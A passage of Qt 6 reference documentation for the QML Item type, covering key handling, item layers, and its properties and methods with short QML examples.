 Likewise, a [QQuickItem](qquickitem) subclass can call setAcceptedMouseButtons() to register to receive mouse button events, setAcceptHoverEvents() to receive hover events (mouse movements while no button is pressed), and override the virtual functions mousePressEvent(), mouseMoveEvent(), and mouseReleaseEvent(). Those can also accept the event to prevent further delivery and get an implicit grab at the same time; or explicitly [grab](qpointerevent#setExclusiveGrabber) the single [QEventPoint](qeventpoint) that the [QMouseEvent](qmouseevent) carries.

 Key handling is available to all Item-based visual types via the [Keys](qml-qtquick-keys) attached property. The *Keys* attached property provides basic signals such as [pressed](qml-qtquick-keys#pressed-signal) and [released](qml-qtquick-keys#released-signal), as well as signals for specific keys, such as [spacePressed](qml-qtquick-keys#spacePressed-signal). The example below assigns [keyboard focus](qtquick-input-focus) to the item and handles the left key via the general `onPressed` handler and the return key via the `onReturnPressed` handler:

 
```
import QtQuick 2.0

Item {
    focus: true
    Keys.onPressed: (event)=> {
        if (event.key == Qt.Key_Left) {
            console.log("move left");
            event.accepted = true;
        }
    }
    Keys.onReturnPressed: console.log("Pressed return");
}
```
 See the [Keys](qml-qtquick-keys) attached property for detailed documentation.

 ### Layout Mirroring

 Item layouts can be mirrored using the [LayoutMirroring](qml-qtquick-layoutmirroring) attached property. This causes [anchors](qml-qtquick-item#anchors.top-prop) to be horizontally reversed, and also causes items that lay out or position their children (such as [ListView](qml-qtquick-listview) or [Row](qml-qtquick-row)) to horizontally reverse the direction of their layouts.

 See [LayoutMirroring](qml-qtquick-layoutmirroring) for more details.

 Item Layers
-----------

 An Item will normally be rendered directly into the window it belongs to. However, by setting [layer.enabled](qml-qtquick-item#layer.enabled-prop), it is possible to delegate the item and its entire subtree into an offscreen surface. Only the offscreen surface, a texture, will be then drawn into the window.

 If it is desired to have a texture size different from that of the item, this is possible using [layer.textureSize](qml-qtquick-item#layer.textureSize-prop). To render only a section of the item into the texture, use [layer.sourceRect](qml-qtquick-item#layer.sourceRect-prop). It is also possible to specify [layer.sourceRect](qml-qtquick-item#layer.sourceRect-prop) so it extends beyond the bounds of the item. In this case, the exterior will be padded with transparent pixels.

 The item will use linear interpolation for scaling if [layer.smooth](qml-qtquick-item#layer.smooth-prop) is set to `true` and will use mipmap for downsampling if [layer.mipmap](qml-qtquick-item#layer.mipmap-prop) is set to `true`. Mipmapping may improve visual quality of downscaled items. For mipmapping of single Image items, prefer [Image::mipmap](qml-qtquick-image#mipmap-prop).

 ### Layer Opacity vs Item Opacity

 When applying [opacity](https://doc.qt.io/qt-6.2/qtquick-effects-topic.html#opacity) to an item hierarchy the opacity is applied to each item individually. This can lead to undesired visual results when the opacity is applied to a subtree. Consider the following example:

 

|  |  |
| --- | --- |
|  | **Non-layered Opacity**
```
Item {
    id: nonLayered

    opacity: 0.5

    width: 100
    height: 100

    Rectangle { width: 80; height: 80; border.width: 1 }
    Rectangle { x: 20; y: 20; width: 80; height: 80; border.width: 1 }
}
```
 |

 A layer is rendered with the root item's opacity being 1, and then the root item's opacity is applied to the texture when it is drawn. This means that fading in a large item hierarchy from transparent to opaque, or vice versa, can be done without the overlap artifacts that the normal item by item alpha blending has. Here is the same example with layer enabled:

 

|  |  |
| --- | --- |
|  | **Layered Opacity**
```
Item {
    id: layered

    opacity: 0.5

    layer.enabled: true

    width: 100
    height: 100

    Rectangle { width: 80; height: 80; border.width: 1 }
    Rectangle { x: 20; y: 20; width: 80; height: 80; border.width: 1 }
}
```
 |

 ### Combined with ShaderEffects

 Setting [layer.enabled](qml-qtquick-item#layer.enabled-prop) to true will turn the item into a [texture provider](qquickitem#isTextureProvider), making it possible to use the item directly as a texture, for instance in combination with the [ShaderEffect](qml-qtquick-shadereffect) type.

 It is possible to apply an effect on a layer at runtime using layer.effect:

 
```
Item {
    id: layerRoot
    layer.enabled = true
    layer.effect: ShaderEffect {
        fragmentShader: "effect.frag.qsb"
    }
}
```
 See [ShaderEffect](qml-qtquick-shadereffect) for more information about using effects.

  **Note:** [layer.enabled](qml-qtquick-item#layer.enabled-prop) is actually just a more convenient way of using [ShaderEffectSource](qml-qtquick-shadereffectsource).

  ### Memory and Performance

 When an item's layer is enabled, the scene graph will allocate memory in the GPU equal to `width x height x 4`. In memory constrained configurations, large layers should be used with care.

 In the [QPainter](qpainter) / [QWidget](qwidget) world, it is sometimes favorable to cache complex content in a pixmap, image or texture. In Qt Quick, because of the techniques already applied by the [scene graph renderer](qtquick-visualcanvas-scenegraph-renderer), this will in most cases not be the case. Excessive draw calls are already reduced because of batching and a cache will in most cases end up blending more pixels than the original content. The overhead of rendering to an offscreen and the blending involved with drawing the resulting texture is therefore often more costly than simply letting the item and its children be drawn normally.

 Also, an item using a layer can not be [batched](qtquick-visualcanvas-scenegraph-renderer#batching) during rendering. This means that a scene with many layered items may have performance problems.

 Layering can be convenient and useful for visual effects, but should in most cases be enabled for the duration of the effect and disabled afterwards.

 Property Documentation
----------------------

  ###  implicitHeight : [real](qml-real)

 
Defines the preferred width or height of the Item.

 If [width](qml-qtquick-item#width-prop) or [height](qml-qtquick-item#height-prop) is not specified, an item's effective size will be determined by its [implicitWidth](qml-qtquick-item#implicitWidth-prop) or [implicitHeight](qml-qtquick-item#implicitHeight-prop).

 However, if an item is the child of a [layout](qtquicklayouts-index), the layout will determine the item's preferred size using its implicit size. In such a scenario, the explicit [width](qml-qtquick-item#width-prop) or [height](qml-qtquick-item#height-prop) will be ignored.

 The default implicit size for most items is 0x0, however some items have an inherent implicit size which cannot be overridden, for example, [Image](qml-qtquick-image) and [Text](qml-qtquick-text).

 Setting the implicit size is useful for defining components that have a preferred size based on their content, for example:

 
```
// Label.qml
import QtQuick 2.0

Item {
    property alias icon: image.source
    property alias label: text.text
    implicitWidth: text.implicitWidth + image.implicitWidth
    implicitHeight: Math.max(text.implicitHeight, image.implicitHeight)
    Image { id: image }
    Text {
        id: text
        wrapMode: Text.Wrap
        anchors.left: image.right; anchors.right: parent.right
        anchors.verticalCenter: parent.verticalCenter
    }
}
```
  **Note:** Using [implicitWidth](qml-qtquick-item#implicitWidth-prop) of [Text](qml-qtquick-text) or [TextEdit](qml-qtquick-textedit) and setting the width explicitly incurs a performance penalty as the text must be laid out twice.

   ###  height : [real](qml-real)

 
Defines the item's position and size. The default value is `0`.

 The (x,y) position is relative to the [parent](qml-qtquick-item#parent-prop).

 
```
Item { x: 100; y: 100; width: 100; height: 100 }
```
  ###  children : [list](qml-list)<[Item](qml-qtquick-item)>

 
The children property contains the list of visual children of this item. The resources property contains non-visual resources that you want to reference by name.

 It is not generally necessary to refer to these properties when adding child items or resources, as the default [data](qml-qtquick-item#data-prop) property will automatically assign child objects to the `children` and `resources` properties as appropriate. See the [data](qml-qtquick-item#data-prop) documentation for details.

 ###  activeFocus : [bool](qml-bool)

 This read-only property indicates whether the item has active focus.

 If activeFocus is true, either this item is the one that currently receives keyboard input, or it is a [FocusScope](qml-qtquick-focusscope) ancestor of the item that currently receives keyboard input.

 Usually, activeFocus is gained by setting [focus](qml-qtquick-item#focus-prop) on an item and its enclosing [FocusScope](qml-qtquick-focusscope) objects. In the following example, the `input` and `focusScope` objects will have active focus, while the root rectangle object will not.

 
```
import QtQuick 2.0

Rectangle {
    width: 100; height: 100

    FocusScope {
        id: focusScope
        focus: true

        TextInput {
            id: input
            focus: true
        }
    }
}
```
 **See also** [focus](qml-qtquick-item#focus-prop) and [Keyboard Focus in Qt Quick](qtquick-input-focus).

 ###  activeFocusOnTab : [bool](qml-bool)

 This property holds whether the item wants to be in the tab focus chain. By default, this is set to `false`.

 The tab focus chain traverses elements by first visiting the parent, and then its children in the order they occur in the children property. Pressing the tab key on an item in the tab focus chain will move keyboard focus to the next item in the chain. Pressing BackTab (normally Shift+Tab) will move focus to the previous item.

 To set up a manual tab focus chain, see [KeyNavigation](qml-qtquick-keynavigation). Tab key events used by Keys or [KeyNavigation](qml-qtquick-keynavigation) have precedence over focus chain behavior; ignore the events in other key handlers to allow it to propagate.

 ###  anchors.alignWhenCentered : [bool](qml-bool)

 Anchors provide a way to position an item by specifying its relationship with other items.

 Margins apply to top, bottom, left, right, and fill anchors. The [anchors.margins](qml-qtquick-item#anchors.margins-prop) property can be used to set all of the various margins at once, to the same value. It will not override a specific margin that has been previously set; to clear an explicit margin set its value to `undefined`. Note that margins are anchor-specific and are not applied if an item does not use anchors.

 Offsets apply for horizontal center, vertical center, and baseline anchors.

 

|  |  |
| --- | --- |
|  | Text anchored to Image, horizontally centered and vertically below, with a margin.
```
Item {
    Image {
        id: pic
        // ...
    }
    Text {
        id: label
        anchors.horizontalCenter: pic.horizontalCenter
        anchors.top: pic.bottom
        anchors.topMargin: 5
        // ...
    }
}
```
 |
|  | Left of Text anchored to right of Image, with a margin. The y property of both defaults to 0.
```
Item {
    Image {
        id: pic
        // ...
    }
    Text {
        id: label
        anchors.left: pic.right
        anchors.leftMargin: 5
        // ...
    }
}
```
 |

 [anchors.fill](qml-qtquick-item#anchors.fill-prop) provides a convenient way for one item to have the same geometry as another item, and is equivalent to connecting all four directional anchors.

 To clear an anchor value, set it to `undefined`.

 [anchors.alignWhenCentered](qml-qtquick-item#anchors.alignWhenCentered-prop) (default `true`) forces centered anchors to align to a whole pixel; if the item being centered has an odd [width](qml-qtquick-item#width-prop) or [height](qml-qtquick-item#height-prop), the item will be positioned on a whole pixel rather than being placed on a half-pixel. This ensures the item is painted crisply. There are cases where this is not desirable, for example when rotating the item jitters may be apparent as the center is rounded.

  **Note:** You can only anchor an item to siblings or a parent.

  For more information see [Anchor Layouts](qtquick-positioning-anchors).

 ###  antialiasing : [bool](qml-bool)

 Used by visual elements to decide if the item should use antialiasing or not. In some cases items with antialiasing require more memory and are potentially slower to render (see [Antialiasing](qtquick-visualcanvas-scenegraph-renderer#antialiasing) for more details).

 The default is false, but may be overridden by derived elements.

 ###  baselineOffset : [int](qml-int)

 Specifies the position of the item's baseline in local coordinates.

 The baseline of a [Text](qml-qtquick-text) item is the imaginary line on which the text sits. Controls containing text usually set their baseline to the baseline of their text.

 For non-text items, a default baseline offset of 0 is used.

 ###  [read-only] childrenRect.height : [real](qml-real)

 This read-only property holds the collective position and size of the item's children.

 This property is useful if you need to access the collective geometry of an item's children in order to correctly size the item.

 The geometry that is returned is local to the item. For example:

 
```
Item {
    x: 50
    y: 100

    // prints: QRectF(-10, -20, 30, 40)
    Component.onCompleted: print(childrenRect)

    Item {
        x: -10
        y: -20
        width: 30
        height: 40
    }
}
```
 ###  clip : [bool](qml-bool)

 This property holds whether clipping is enabled. The default clip value is `false`.

 If clipping is enabled, an item will clip its own painting, as well as the painting of its children, to its bounding rectangle.

  **Note:** Clipping can affect rendering performance. See [Clipping](qtquick-visualcanvas-scenegraph-renderer#clipping) for more information.

  ###  [since 5.11] containmentMask : QObject\*

 This property holds an optional mask for the Item to be used in the QtQuick::Item::contains() method. Its main use is currently to determine whether a [pointer event](qpointerevent) has landed into the item or not.

 By default the [contains](qml-qtquick-item#contains-method) method will return true for any point within the Item's bounding box. `containmentMask` allows for more fine-grained control. For example, if a custom C++ [QQuickItem](qquickitem) subclass with a specialized [contains](qml-qtquick-item#contains-method)() method is used as containmentMask:

 
```
Item { id: item; containmentMask: AnotherItem { id: anotherItem } }
```
 *item*'s contains method would then return `true` only if *anotherItem*'s [contains](qml-qtquick-item#contains-method)() implementation returns `true`.

 A [Shape](qml-qtquick-shapes-shape) can be used as a mask, to make an item react to [pointer events](qpointerevent) only within a non-rectangular region:

 

|  |  |
| --- | --- |
|        | 
```
Rectangle {
    width: 90; height: 100
    color: hoverHandler.hovered ? "wheat" : "lightgray"
    containmentMask: shape

    HoverHandler { id: hoverHandler }

    Shape {
        id: shape
        containsMode: Shape.FillContains

        ShapePath {
            fillColor: "lightsteelblue"
            startX: 10; startY: 20
            PathArc {
                x: 10; y: 80
                radiusX: 40; radiusY: 40
                useLargeArc: true
            }
            PathLine {
                x: 10; y: 20
            }
        }
    }
}
```
 |

 It is also possible to define the contains method in QML. For example, to create a circular item that only responds to events within its actual bounds:

 

|  |  |
| --- | --- |
|        | 
```
Rectangle {
    id: circle
    width: 100; height: width
    radius: width / 2
    color: tapHandler.pressed ? "tomato" : hoverHandler.hovered ? "darkgray" : "lightgray"

    TapHandler { id: tapHandler }
    HoverHandler { id: hoverHandler }

    containmentMask: QtObject {
        property alias radius: circle.radius
        function contains(point: point) : bool {
            return (Math.pow(point.x - radius, 2) + Math.pow(point.y - radius, 2)) < Math.pow(radius, 2)
        }
    }
}
```
 |

 This property was introduced in Qt 5.11.

 **See also** [Qt Quick Examples - Shapes](https://doc.qt.io/qt-6.2/qtquick-shapes-example.html).

 ###  [default] data : [list](qml-list)<Object>

 The data property allows you to freely mix visual children and resources in an item. If you assign a visual item to the data list it becomes a child and if you assign any other object type, it is added as a resource.

 So you can write:

 
```
Item {
    Text {}
    Rectangle {}
    Timer {}
}
```
 instead of:

 
```
Item {
    children: [
        Text {},
        Rectangle {}
    ]
    resources: [
        Timer {}
    ]
}
```
 It should not generally be necessary to refer to the `data` property, as it is the default property for Item and thus all child items are automatically assigned to this property.

 ###  enabled : [bool](qml-bool)

 This property holds whether the item receives mouse and keyboard events. By default this is true.

 Setting this property directly affects the `enabled` value of child items. When set to `false`, the `enabled` values of all child items also become `false`. When set to `true`, the `enabled` values of child items are returned to `true`, unless they have explicitly been set to `false`.

 Setting this property to `false` automatically causes [activeFocus](qml-qtquick-item#activeFocus-prop) to be set to `false`, and this item will no longer receive keyboard events.

 **See also** [visible](qml-qtquick-item#visible-prop).

 ###  focus : [bool](qml-bool)

 This property holds whether the item has focus within the enclosing [FocusScope](qml-qtquick-focusscope). If true, this item will gain active focus when the enclosing [FocusScope](qml-qtquick-focusscope) gains active focus.

 In the following example, `input` will be given active focus when `scope` gains active focus:

 
```
import QtQuick 2.0

Rectangle {
    width: 100; height: 100

    FocusScope {
        id: scope

        TextInput {
            id: input
            focus: true
        }
    }
}
```
 For the purposes of this property, the scene as a whole is assumed to act like a focus scope. On a practical level, that means the following QML will give active focus to `input` on startup.

 
```
Rectangle {
    width: 100; height: 100

    TextInput {
          id: input
          focus: true
    }
}
```
 **See also** [activeFocus](qml-qtquick-item#activeFocus-prop) and [Keyboard Focus in Qt Quick](qtquick-input-focus).

 ###  layer.effect : Component

 Holds the effect that is applied to this layer.

 The effect is typically a [ShaderEffect](qml-qtquick-shadereffect) component, although any [Item](qml-qtquick-item) component can be assigned. The effect should have a source texture property with a name matching [layer.samplerName](qml-qtquick-item#layer.samplerName-prop).

 **See also** [layer.samplerName](qml-qtquick-item#layer.samplerName-prop) and [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.enabled : [bool](qml-bool)

 Holds whether the item is layered or not. Layering is disabled by default.

 A layered item is rendered into an offscreen surface and cached until it is changed. Enabling layering for complex QML item hierarchies can sometimes be an optimization.

 None of the other layer properties have any effect when the layer is disabled.

 **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.format : [enumeration](qml-enumeration)

 This property defines the internal format of the texture. Modifying this property makes most sense when the *layer.effect* is also specified. Depending on the OpenGL implementation, this property might allow you to save some texture memory.

 * [ShaderEffectSource](qml-qtquick-shadereffectsource).Alpha - GL\_ALPHA;
* [ShaderEffectSource](qml-qtquick-shadereffectsource).RGB - GL\_RGB
* [ShaderEffectSource](qml-qtquick-shadereffectsource).RGBA - GL\_RGBA

  **Note:** [ShaderEffectSource](qml-qtquick-shadereffectsource).RGB and [ShaderEffectSource](qml-qtquick-shadereffectsource).Alpha should be used with caution, as support for these formats in the underlying hardware and driver is often not present.

  **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.mipmap : [bool](qml-bool)

 If this property is true, mipmaps are generated for the texture.

  **Note:** Some OpenGL ES 2 implementations do not support mipmapping of non-power-of-two textures.

  **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.samplerName : [string](qml-string)

 Holds the name of the effect's source texture property.

 This value must match the name of the effect's source texture property so that the Item can pass the layer's offscreen surface to the effect correctly.

 **See also** [layer.effect](qml-qtquick-item#layer.effect-prop), [ShaderEffect](qml-qtquick-shadereffect), and [Item Layers](qml-qtquick-item#item-layers).

 ###  [since 5.10] layer.samples : [enumeration](qml-enumeration)

 This property allows requesting multisampled rendering in the layer.

 By default multisampling is enabled whenever multisampling is enabled for the entire window, assuming the scenegraph renderer in use and the underlying graphics API supports this.

 By setting the value to 2, 4, etc. multisampled rendering can be requested for a part of the scene without enabling multisampling for the entire scene. This way multisampling is applied only to a given subtree, which can lead to significant performance gains since multisampling is not applied to other parts of the scene.

  **Note:** Enabling multisampling can be potentially expensive regardless of the layer's size, as it incurs a hardware and driver dependent performance and memory cost.

   **Note:** This property is only functional when support for multisample renderbuffers and framebuffer blits is available. Otherwise the value is silently ignored.

  This property was introduced in Qt 5.10.

 ###  layer.smooth : [bool](qml-bool)

 Holds whether the layer is smoothly transformed. When enabled, sampling the layer's texture is performed using `linear` interpolation, while non-smooth results in using the `nearest` filtering mode.

 By default, this property is set to `false`.

 **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.sourceRect : [rect](qml-rect)

 This property defines the rectangular area of the item that should be rendered into the texture. The source rectangle can be larger than the item itself. If the rectangle is null, which is the default, then the whole item is rendered to the texture.

 **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  [since 5.6] layer.textureMirroring : [enumeration](qml-enumeration)

 This property defines how the generated texture should be mirrored. The default value is `ShaderEffectSource.MirrorVertically`. Custom mirroring can be useful if the generated texture is directly accessed by custom shaders, such as those specified by [ShaderEffect](qml-qtquick-shadereffect). If no effect is specified for the layered item, mirroring has no effect on the UI representation of the item.

 * [ShaderEffectSource](qml-qtquick-shadereffectsource).NoMirroring - No mirroring
* [ShaderEffectSource](qml-qtquick-shadereffectsource).MirrorHorizontally - The generated texture is flipped along X-axis.
* [ShaderEffectSource](qml-qtquick-shadereffectsource).MirrorVertically - The generated texture is flipped along Y-axis.

 This property was introduced in Qt 5.6.

 ###  layer.textureSize : [size](qml-size)

 This property holds the requested pixel size of the layers texture. If it is empty, which is the default, the size of the item is used.

  **Note:** Some platforms have a limit on how small framebuffer objects can be, which means the actual texture size might be larger than the requested size.

  **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  layer.wrapMode : [enumeration](qml-enumeration)

 This property defines the wrap modes associated with the texture. Modifying this property makes most sense when the *layer.effect* is specified.

 * [ShaderEffectSource](qml-qtquick-shadereffectsource).ClampToEdge - GL\_CLAMP\_TO\_EDGE both horizontally and vertically
* [ShaderEffectSource](qml-qtquick-shadereffectsource).RepeatHorizontally - GL\_REPEAT horizontally, GL\_CLAMP\_TO\_EDGE vertically
* [ShaderEffectSource](qml-qtquick-shadereffectsource).RepeatVertically - GL\_CLAMP\_TO\_EDGE horizontally, GL\_REPEAT vertically
* [ShaderEffectSource](qml-qtquick-shadereffectsource).Repeat - GL\_REPEAT both horizontally and vertically

  **Note:** Some OpenGL ES 2 implementations do not support the GL\_REPEAT wrap mode with non-power-of-two textures.

  **See also** [Item Layers](qml-qtquick-item#item-layers).

 ###  opacity : [real](qml-real)

 This property holds the opacity of the item. Opacity is specified as a number between 0.0 (fully transparent) and 1.0 (fully opaque). The default value is 1.0.

 When this property is set, the specified opacity is also applied individually to child items. This may have an unintended effect in some circumstances. For example in the second set of rectangles below, the red rectangle has specified an opacity of 0.5, which affects the opacity of its blue child rectangle even though the child has not specified an opacity.

 

|  |  |
| --- | --- |
|  | 
```
Item {
    Rectangle {
        color: "red"
        width: 100; height: 100
        Rectangle {
            color: "blue"
            x: 50; y: 50; width: 100; height: 100
        }
    }
}
```
 |
|  | 
```
Item {
    Rectangle {
        opacity: 0.5
        color: "red"
        width: 100; height: 100
        Rectangle {
            color: "blue"
            x: 50; y: 50; width: 100; height: 100
        }
    }
}
```
 |

 Changing an item's opacity does not affect whether the item receives user input events. (In contrast, setting [visible](qml-qtquick-item#visible-prop) property to `false` stops mouse events, and setting the [enabled](qml-qtquick-item#enabled-prop) property to `false` stops mouse and keyboard events, and also removes active focus from the item.)

 **See also** [visible](qml-qtquick-item#visible-prop).

 ###  [since 6.0] palette : [Palette](qml-qtquick-palette)

 This property holds the palette currently set for the item.

 This property describes the item's requested palette. The palette is used by the item's style when rendering all controls, and is available as a means to ensure that custom controls can maintain consistency with the native platform's native look and feel. It's common that different platforms, or different styles, define different palettes for an application.

 The default palette depends on the system environment. [ApplicationWindow](qml-qtquick-controls2-applicationwindow) maintains a system/theme palette which serves as a default for all controls. There may also be special palette defaults for certain types of controls. You can also set the default palette for controls by either:

 * passing a custom palette to [QGuiApplication::setPalette](qguiapplication#setPalette)(), before loading any QML; or
* specifying the colors in the [qtquickcontrols2.conf file](qtquickcontrols2-configuration).

 Items propagate explicit palette properties from parents to children. If you change a specific property on a items's palette, that property propagates to all of the item's children, overriding any system defaults for that property.

 
```
Item {
    palette {
        buttonText: "maroon"
        button: "lavender"
    }

    Button {
        text: "Click Me"
    }
}
```
 This property was introduced in Qt 6.0.

 **See also** [Window::palette](qml-qtquick-window#palette-prop), [Popup::palette](qml-qtquick-controls2-popup#palette-prop), [ColorGroup](qml-qtquick-colorgroup), and [Palette](qml-qtquick-palette).

 ###  parent : [Item](qml-qtquick-item)

 This property holds the visual parent of the item.

  **Note:** The concept of the *visual parent* differs from that of the *[QObject](qobject) parent*. An item's visual parent may not necessarily be the same as its object parent. See [Concepts - Visual Parent in Qt Quick](qtquick-visualcanvas-visualparent) for more details.

  ###  rotation : [real](qml-real)

 This property holds the rotation of the item in degrees clockwise around its [transformOrigin](qml-qtquick-item#transformOrigin-prop).

 The default value is 0 degrees (that is, no rotation).

 

|  |  |
| --- | --- |
|  | 
```
Rectangle {
    color: "blue"
    width: 100; height: 100
    Rectangle {
        color: "red"
        x: 25; y: 25; width: 50; height: 50
        rotation: 30
    }
}
```
 |

 **See also** [Transform](qml-qtquick-transform) and [Rotation](qml-qtquick-rotation).

 ###  scale : [real](qml-real)

 This property holds the scale factor for this item.

 A scale of less than 1.0 causes the item to be rendered at a smaller size, and a scale greater than 1.0 renders the item at a larger size. A negative scale causes the item to be mirrored when rendered.

 The default value is 1.0.

 Scaling is applied from the [transformOrigin](qml-qtquick-item#transformOrigin-prop).

 

|  |  |
| --- | --- |
|  | 
```
import QtQuick 2.0

Rectangle {
    color: "blue"
    width: 100; height: 100

    Rectangle {
        color: "green"
        width: 25; height: 25
    }

    Rectangle {
        color: "red"
        x: 25; y: 25; width: 50; height: 50
        scale: 1.4
        transformOrigin: Item.TopLeft
    }
}
```
 |

 **See also** [Transform](qml-qtquick-transform) and [Scale](qml-qtquick-scale).

 ###  smooth : [bool](qml-bool)

 Primarily used in image based items to decide if the item should use smooth sampling or not. Smooth sampling is performed using linear interpolation, while non-smooth is performed using nearest neighbor.

 In Qt Quick 2.0, this property has minimal impact on performance.

 By default, this property is set to `true`.

 ###  state : [string](qml-string)

 This property holds the name of the current state of the item.

 If the item is in its default state, that is, no explicit state has been set, then this property holds an empty string. Likewise, you can return an item to its default state by setting this property to an empty string.

 **See also** [Qt Quick States](qtquick-statesanimations-states).

 ###  states : [list](qml-list)<[State](qml-qtquick-state)>

 This property holds the list of possible states for this item. To change the state of this item, set the [state](qml-qtquick-item#state-prop) property to one of these states, or set the [state](qml-qtquick-item#state-prop) property to an empty string to revert the item to its default state.

 This property is specified as a list of [State](qml-qtquick-state) objects. For example, below is an item with "red\_color" and "blue\_color" states:

 
```
import QtQuick 2.0

Rectangle {
    id: root
    width: 100; height: 100

    states: [
        State {
            name: "red_color"
            PropertyChanges { target: root; color: "red" }
        },
        State {
            name: "blue_color"
            PropertyChanges { target: root; color: "blue" }
        }
    ]
}
```
 See [Qt Quick States](qtquick-statesanimations-states) and [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations) for more details on using states and transitions.

 **See also** [transitions](https://doc.qt.io/qt-6.2/qtquick-statesanimations-topic.html#transitions).

 ###  transform : [list](qml-list)<[Transform](qml-qtquick-transform)>

 This property holds the list of transformations to apply.

 For more information see [Transform](qml-qtquick-transform).

 ###  transformOrigin : [enumeration](qml-enumeration)

 This property holds the origin point around which scale and rotation transform.

 Nine transform origins are available, as shown in the image below. The default transform origin is `Item.Center`.

 ![]


This example rotates an image around its bottom-right corner.

 
```
Image {
    source: "myimage.png"
    transformOrigin: Item.BottomRight
    rotation: 45
}
```
 To set an arbitrary transform origin point use the [Scale](qml-qtquick-scale) or [Rotation](qml-qtquick-rotation) transform types with [transform](qml-qtquick-item#transform-prop).

 ###  transitions : [list](qml-list)<[Transition](qml-qtquick-transition)>

 This property holds the list of transitions for this item. These define the transitions to be applied to the item whenever it changes its [state](qml-qtquick-item#state-prop).

 This property is specified as a list of [Transition](https://doc.qt.io/qt-6.2/qmlexampletoggleswitch.html#transition) objects. For example:

 
```
import QtQuick 2.0

Item {
    transitions: [
        Transition {
            //...
        },
        Transition {
            //...
        }
    ]
}
```
 See [Qt Quick States](qtquick-statesanimations-states) and [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations) for more details on using states and transitions.

 **See also** [states](https://doc.qt.io/qt-6.2/qtquick-statesanimations-topic.html#states).

 ###  visible : [bool](qml-bool)

 This property holds whether the item is visible. By default this is true.

 Setting this property directly affects the `visible` value of child items. When set to `false`, the `visible` values of all child items also become `false`. When set to `true`, the `visible` values of child items are returned to `true`, unless they have explicitly been set to `false`.

 (Because of this flow-on behavior, using the `visible` property may not have the intended effect if a property binding should only respond to explicit property changes. In such cases it may be better to use the [opacity](https://doc.qt.io/qt-6.2/qtquick-effects-topic.html#opacity) property instead.)

 If this property is set to `false`, the item will no longer receive mouse events, but will continue to receive key events and will retain the keyboard [focus](qml-qtquick-item#focus-prop) if it has been set. (In contrast, setting the [enabled](qml-qtquick-item#enabled-prop) property to `false` stops both mouse and keyboard events, and also removes focus from the item.)

  **Note:** This property's value is only affected by changes to this property or the parent's `visible` property. It does not change, for example, if this item moves off-screen, or if the [opacity](https://doc.qt.io/qt-6.2/qtquick-effects-topic.html#opacity) changes to 0.

  **See also** [opacity](https://doc.qt.io/qt-6.2/qtquick-effects-topic.html#opacity) and [enabled](qml-qtquick-item#enabled-prop).

 ###  visibleChildren : [list](qml-list)<[Item](qml-qtquick-item)>

 This read-only property lists all of the item's children that are currently visible. Note that a child's visibility may have changed explicitly, or because the visibility of this (it's parent) item or another grandparent changed.

 ###  z : [real](qml-real)

 Sets the stacking order of sibling items. By default the stacking order is 0.

 Items with a higher stacking value are drawn on top of siblings with a lower stacking order. Items with the same stacking value are drawn bottom up in the order they appear. Items with a negative stacking value are drawn under their parent's content.

 The following example shows the various effects of stacking order.

 

|  |  |
| --- | --- |
|  | Same `z` - later children above earlier children:
```
Item {
    Rectangle {
        color: "red"
        width: 100; height: 100
    }
    Rectangle {
        color: "blue"
        x: 50; y: 50; width: 100; height: 100
    }
}
```
 |
|  | Higher `z` on top:
```
Item {
    Rectangle {
        z: 1
        color: "red"
        width: 100; height: 100
    }
    Rectangle {
        color: "blue"
        x: 50; y: 50; width: 100; height: 100
    }
}
```
 |
|  | Same `z` - children above parents:
```
Item {
    Rectangle {
        color: "red"
        width: 100; height: 100
        Rectangle {
            color: "blue"
            x: 50; y: 50; width: 100; height: 100
        }
    }
}
```
 |
|  | Lower `z` below:
```
Item {
    Rectangle {
        color: "red"
        width: 100; height: 100
        Rectangle {
            z: -1
            color: "blue"
            x: 50; y: 50; width: 100; height: 100
        }
    }
}
```
 |

 Method Documentation
--------------------

  ###  [point](qml-point) mapToItem([Item](qml-qtquick-item) *item*, [point](qml-point) *p*)

 
Maps the point (*x*, *y*) or rect (*x*, *y*, *width*, *height*), which is in this item's coordinate system, to *item*'s coordinate system, and returns a [point](qml-point) or [rect](qml-rect) matching the mapped coordinate.

 The following properties of the item are used in the mapping: [x](qml-qtquick-item#x-prop), [y](qml-qtquick-item#y-prop), [scale](qml-qtquick-item#scale-prop), [rotation](qml-qtquick-item#rotation-prop), [transformOrigin](qml-qtquick-item#transformOrigin-prop), and [transform](qml-qtquick-item#transform-prop).

 If *item* is a `null` value, this maps the point or rect to the coordinate system of the root QML view.

 The versions accepting point and rect are since Qt 5.15.

  ###  [point](qml-point) mapFromItem([Item](qml-qtquick-item) *item*, [point](qml-point) *p*)

 
Maps the point (*x*, *y*) or rect (*x*, *y*, *width*, *height*), which is in *item*'s coordinate system, to this item's coordinate system, and returns a [point](qml-point) or [rect](qml-rect) matching the mapped coordinate.

 The following properties of the item are used in the mapping: [x](qml-qtquick-item#x-prop), [y](qml-qtquick-item#y-prop), [scale](qml-qtquick-item#scale-prop), [rotation](qml-qtquick-item#rotation-prop), [transformOrigin](qml-qtquick-item#transformOrigin-prop), and [transform](qml-qtquick-item#transform-prop).

 If *item* is a `null` value, this maps the point or rect from the coordinate system of the root QML view.

 The versions accepting point and rect are since Qt 5.15.

 ###  childAt([real](qml-real) *x*, [real](qml-real) *y*)

 Returns the first visible child item found at point (*x*, *y*) within the coordinate system of this item.

 Returns `null` if there is no such item.

 ###  [bool](qml-bool) contains([point](qml-point) *point*)

 Returns `true` if this item contains *point*, which is in local coordinates; returns `false` otherwise. This is the same check that is used for hit-testing a [QEventPoint](qeventpoint) during event delivery, and is affected by containmentMask() if it is set.

 ###  `[since 5.1]` forceActiveFocus(Qt::FocusReason *reason*)

 This is an overloaded function.

 Forces active focus on the item with the given *reason*.

 This method sets focus on the item and ensures that all ancestor [FocusScope](qml-qtquick-focusscope) objects in the object hierarchy are also given [focus](qml-qtquick-item#focus-prop).

 This method was introduced in Qt 5.1.

 **See also** [activeFocus](qml-qtquick-item#activeFocus-prop) and [Qt::FocusReason](qt#FocusReason-enum).

 ###  forceActiveFocus()

 Forces active focus on the item.

